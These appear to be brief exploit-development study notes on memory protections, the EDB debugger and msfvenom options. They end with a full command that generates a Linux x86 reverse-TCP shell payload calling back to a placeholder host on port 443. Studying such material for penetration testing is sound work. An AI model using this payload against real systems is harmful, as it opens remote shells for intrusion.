DEP, ASLR, Canaries

Protection mechanism

Use EDB as debugger.

Reverse Shell Code Generation

-b for bad chars

-f output format

-v for variable name to use

msfvenom -p linux/x86/shell_reverse_tcp LHOST=<ip> LPORT=443 -b "\x00\x20" -f py -v shellcode